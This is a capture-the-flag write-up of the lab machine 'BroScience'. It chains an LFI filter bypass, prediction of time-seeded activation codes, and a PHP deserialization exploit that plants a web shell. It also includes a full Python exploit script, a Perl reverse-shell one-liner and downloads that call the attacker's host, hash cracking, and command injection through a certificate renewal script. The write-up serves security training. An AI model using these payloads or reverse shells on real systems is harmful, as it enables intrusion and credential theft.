BroScience
Overview
BroScience is a medium-difficulty challenge focusing on web-related vulnerabilities, source code review, and custom code writing for exploitation. This box serves as excellent preparation for the AWAE course, covering many of the same concepts and techniques.
The exploitation involves registering a new user, activating the account, logging in, and exploiting a deserialization vulnerability to upload a web shell. From there, the attacker can escalate privileges by cracking a password hash and exploiting a command injection vulnerability in a script that renews SSL certificates.
Enumeration
Nmap scan
Starting from a standard Nmap scan with basic flags:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -v -Pn -n -T4 -p- -sV -sC broscience.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT
Nmap reveals 3 services: SSH and HTTP(s).
Let’s check the web app:
Checking the HTML page:
We can expect an LFI vuln in the img.php.
Foothold
Let’s try to get the contents of the /etc/passwd file:
It seems there are some LFI checks. It can be bypassed using encoding:
1
curl https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd -k
How does the double URL encoding work?
Let’s check the source code of the img.php page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
So, the urldecode function is used after the filter check. It actually means that the initial $path parameter is decoded by the application twice:
- the first time by the web server itself during parsing the request to extract important information such as the HTTP method, URI, query parameters, headers, and request body
- the second time by the urldecode instruction in the code
For example, %252E%252E%252F (../ in double decoding) became %2E%2E%2F after the first decoding which is not in the $badwords string array. The second urldecode in the code makes it ../ and it can be used in file_get_contents function.
We can download the source code for the web application files:
1
https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252fincludes%252futils.php
Interesting code:
register.php:
1
2
3
4
5
<?php
...
$activation_code = generate_activation_code();
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
....
utils.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
At first glance, there are 2 vulnerabilities: weak activation code generation and deserialization.
Code generation
The srand() function is used to seed the random number generator with the current time, which is not considered cryptographically secure. An attacker could predict the generated activation codes by knowing when the function is called.
The time() function in PHP returns the current time as a Unix timestamp. It returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
More than that, the Apache server returns the server`s current time in one of the headers:
It’s super simple to predict the code. Let’s just copy the part of the code generation part and add some logic to check for a couple of seconds after and before the request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function generate_activation_code($seed)
{
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($seed);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
function predict_activation_codes($timestamp, $range)
{
for ($i = $timestamp - $range; $i <= $timestamp + $range; $i++) {
echo generate_activation_code($i) . "\n";
}
}
$known_timestamp = time();
$range = 1; // We consider a range of 1 second before and after the known timestamp
predict_activation_codes($known_timestamp, $range);
?>
How it works:
1
2
3
4
5
php exploit.php
wNJ0vY7hI4K19VDBDCa3xLJjV6GvOuJJ
5laqrSZm2IyRBCaX7DXFIoZyE8sPY0qz
vt4bjqp6YYkAH046KVPdBJKg75g8KpV7
Deserialization
From the source code, we can see that the application supports different themes (dark and light versions). It’s implemented using deserialization, but without any security checks. This essentially means that we can try to deserialize our own objects. A really good basic explanation of deserialization vulnerabilities in PHP can be found here - https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a
AvatarInterface class has a magic __wakeup function which is executed during the deserialization process. 2 variables $imgPath and $tmp are used in the file_get_contents function of the Avatar class. So, it can be used to upload a remote file to the host.
To create a serialized AvatarInterface object we can just copy PHP code and slightly change the parameters.
serialize.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$avatar = new AvatarInterface;
$avatar->tmp= 'http://10.10.16.153/shell.php';
$avatar->imgPath= '/var/www/html/shell.php';
$serialiased = serialize($avatar);
echo $serialiased;
#unserialize($serialiased );
?>
Example:
1
2
php serialize.php
O:15:"AvatarInterface":2:{s:3:"tmp";s:29:"http://10.10.16.153/shell.php";s:7:"imgPath";s:23:"/var/www/html/shell.php";}
Putting it all together:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import uuid
import base64
import sys
import subprocess
import requests
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning)
use_proxy = True
if use_proxy:
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
else:
proxies = {}
url = 'https://broscience.htb'
username = uuid.uuid4().hex[:5]
password = '12345'
def register(session):
payload = {
"username": username,
"email": f"{username}@test.com",
"password": password,
"password-confirm": password,
}
response = session.post(url + "/register.php",
data=payload, verify=False, proxies=proxies)
if response.status_code == 200:
return True
def activate(session):
php_code = '''
function generate_activation_code($seed) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($seed);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
function predict_activation_codes($timestamp, $range) {
for ($i = $timestamp - $range; $i <= $timestamp + $range; $i++) {
echo generate_activation_code($i) . "\n";
}
}
$known_timestamp = time();
$range = 1; // We consider a range of 1 second before and after the known timestamp
predict_activation_codes($known_timestamp, $range);
'''
result = subprocess.run(
["php", "-r", php_code],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=False
)
# Print the output from the PHP code
codes = result.stdout.split("\n")[:-1]
for code in codes:
print(f"Sending a request to activate: {code}")
response = session.get(
url + f"/activate.php?code={code}", verify=False, proxies=proxies)
if 'Account activated!' in response.text:
print('[+] Account is activated')
return True
def login(session):
payload = {
"username": username,
"password": password,
}
response = session.post(url + "/login.php",
data=payload, verify=False,allow_redirects=False, proxies=proxies)
if response.status_code == 302:
return True
def exploit_deserialization(session):
php_code = '''
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$avatar = new AvatarInterface;
$avatar->tmp= 'http://10.10.16.153/shell.php';
$avatar->imgPath= '/var/www/html/shell.php';
$serialiased = serialize($avatar);
echo $serialiased;
'''
result = subprocess.run(
["php", "-r", php_code],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=False
)
# Print the output from the PHP code
payload = result.stdout
encoded = base64_text = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
session.cookies.set('user-prefs', encoded, domain='broscience.htb',path='/')
response = session.get(url, verify=False, proxies=proxies)
if response.status_code == 200:
return True
s = requests.Session()
if register(s):
print ("[+] A new user has been registered")
else:
print(f"[-] Can't register a new user")
sys.exit()
if activate(s):
print(f"[+] Activated. Should be possible to login with the creds {username}:{password}")
else:
print(f"[-] Can't activate the user")
sys.exit()
if login(s):
print ("[+] Succesfully logged on")
else:
print(f"[-] Can't login")
if exploit_deserialization(s):
print ("[+] Done with deserialization")
else:
print ("[-] Somethinhg went wrong")
Run it (the exploit forces the application to download a shell from the attacker’s host, so don’t forget to change the paths):
1
2
3
4
5
6
7
8
9
10
python exploit.py
[+] A new user has been registered
Sending a request to activate: kOLpou1sQDIiZvhtHW02wTQpfX84XAcc
Sending a request to activate: UzAqCGeY7EqFlsIL3qVJbCC0GIwjrwnl
Sending a request to activate: zVIlwAXhJhDVLEUQRbXQD6UI43fk7N2N
[+] Account is activated
[+] Activated. Should be possible to login with the creds d5996:12345
[+] Succesfully logged on
[+] Done with deserialization
We got a web shell uploaded:
Update it to a proper reverse shell:
1
2
3
4
5
6
7
8
#on the web shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.16.153:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#on kali
rlwrap nc -lvp 4444
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@broscience:/var/www/html$
User
Get DB credentials and a salt value from the db_connect.php:
1
2
3
4
5
6
7
8
9
cat db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
Setup chisel (https://github.com/jpillora/chisel) to create a reverse socks5 proxy:
1
2
3
4
5
6
#on the web host:
wget http://10.10.16.153/chisel
./chisel client 10.10.16.153:8888 R:1080:socks
#on the kali host:
./chisel server -p 8888 --reverse
Connect to the host (proxychains configuration should be changed accordingly):
1
2
3
4
5
6
7
8
9
proxychains psql -h 127.0.0.1 -U dbuser broscience
\c broscience
select * from users;
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
Based on the source code of the register.php passwords are salted:
1
2
3
4
5
6
#register.php
...
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
...
Let’s create a formatted hashes file:
1
2
3
4
5
6
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl
22c2800afa5e561752aec54527d1c2b3:NaCl
Running hashcat:
1
2
3
4
5
hashcat -O -m 20 md5_hashes.txt /usr/share/wordlists/rockyou.txt
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
We can log in with Bill`s password (iluvhorsesandgym):
Root
Checking for background executions using pspy (https://github.com/DominicBreuker/pspy):
1
2
3
wget http://10.10.16.153/pspy
chmod +x pspy
./pspy
Let’s check the script /opt/renew_cert.sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
It seems that the script gets a certificate from the user`s directory, checks if it expires soon, and issues a new one based on the previous parameters. It should be possible to inject OS commands using the $commonName certificate variable.
Let’s create a new certificate:
1
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1
There are some character limitations for the Common Name field. The following value works well:
After a couple of seconds, we got a reverse root shell: